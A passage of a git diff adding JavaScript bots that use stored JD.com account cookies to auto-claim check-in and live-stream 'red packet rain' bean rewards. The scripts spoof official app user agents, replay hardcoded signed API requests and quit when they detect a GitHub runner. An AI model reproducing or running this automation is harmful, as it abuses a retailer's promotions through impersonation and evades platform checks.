京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function sign() { + return new Promise(resolve => { + $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`签到领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, url=null) { + if(!url) url = `${JD_API_HOST}?functionId=${function_id}` + return { + url: url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${escape(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live_redrain.js b/jd_live_redrain.js new file mode 100644 index 0000000..48bed7a --- /dev/null +++ b/jd_live_redrain.js @@ -0,0 +1,400 @@ +/* +超级直播间红包雨 +更新时间:2021-06-4 +下一场超级直播间时间:06月11日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334560 +下一场超级直播间时间:06月10日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334536 +下一场超级直播间时间:06月09日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334513 +下一场超级直播间时间:06月08日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4272306 +下一场超级直播间时间:06月06日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334496 +下一场超级直播间时间:06月05日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4313541 +下一场超级直播间时间:06月04日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4228810 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#超级直播间红包雨 +0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 + +================Surge=============== +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js + +===============小火箭========== +超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('超级直播间红包雨'); +let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; +let bodyList = { + "4": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787088046&sign=835678723e60414a533d2586769a2633&sv=100", + "body": "body=%7B%22liveId%22%3A%224228810%22%7D" + }, + "5": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787086031&sign=7eea743cf1ca5db443042c182595cb51&sv=122", + "body": "body=%7B%22liveId%22%3A%224313541%22%7D" + }, + "6": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787084017&sign=95253384b3b3662b2ab88ee94d6abcc7&sv=122", + "body": "body=%7B%22liveId%22%3A%224334496%22%7D" + }, + "8": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787080081&sign=76fc5c3b2c8f5c514c9c702ba3a7af5d&sv=100", + "body": "body=%7B%22liveId%22%3A%224272306%22%7D" + }, + "9": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787077047&sign=6323b82d53a8a1dad5c98a405e64bc2b&sv=112", + "body": "body=%7B%22liveId%22%3A%224334513%22%7D" + }, + "10": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787074008&sign=11694f560e1dee217ee1ecd04d49d25f&sv=100", + "body": "body=%7B%22liveId%22%3A%224334536%22%7D" + }, + "11": { + "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787073021&sign=32d1acdd573017244637a8c616cd3b47&sv=102", + "body": "body=%7B%22liveId%22%3A%224334560%22%7D" + } +} +let ids = {} +for (let i = 0; i < 24; i++) { + ids[i] = id; +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('下一场超级直播间时间:06月11日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334560\n' + + '下一场超级直播间时间:06月10日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334536\n' + + '下一场超级直播间时间:06月09日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334513\n' + + '下一场超级直播间时间:06月08日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4272306\n' + + '下一场超级直播间时间:06月06日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334496\n' + + '下一场超级直播间时间:06月05日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4313541\n' + + '下一场超级直播间时间:06月04日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4228810') + $.newAcids = []; + await getRedRain(); + + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); + $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + let hour = (new Date().getUTCHours() + 8) % 24; + let redIds = await getRedRainIds(); + if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); + $.newAcids = [...(redIds || [])]; + if ($.newAcids && $.newAcids.length) { + $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) + } else { + $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + return + } + // if (ids[hour]) { + // $.activityId = ids[hour] + // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) + // } else { + // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) + // return + // } + } else { + $.log(`远程红包雨配置获取成功`) + } + for (let id of $.newAcids) { + // $.activityId = id; + if (!id) continue; + console.log(`\n今日${new Date().getHours()}点ID:${id + }\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + // await showMsg(); + if (id) await receiveRedRain(id); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + let body + if (bodyList.hasOwnProperty(new Date().getDate())) { + body = bodyList[new Date().getDate()] + } else { + return + } + return new Promise(resolve => { + $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.iconArea) { + // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) + let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] + if (act) { + let url = act.data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3); + $.newAcids.push($.activityId); + $.st = act.startTime + $.ed = act.endTime + console.log($.activityId) + + console.log(`下一场红包雨开始时间:${new Date($.st)}`) + console.log(`下一场红包雨结束时间:${new Date($.ed)}`) + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain(actId) { + return new Promise(resolve => { + const body = { actId }; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else if (data.subCode === '8') { + console.log(`领取失败:本场已领过`) + message += `领取失败,本场已领过`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(url, body) { + return { + url: url, + body: body, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let 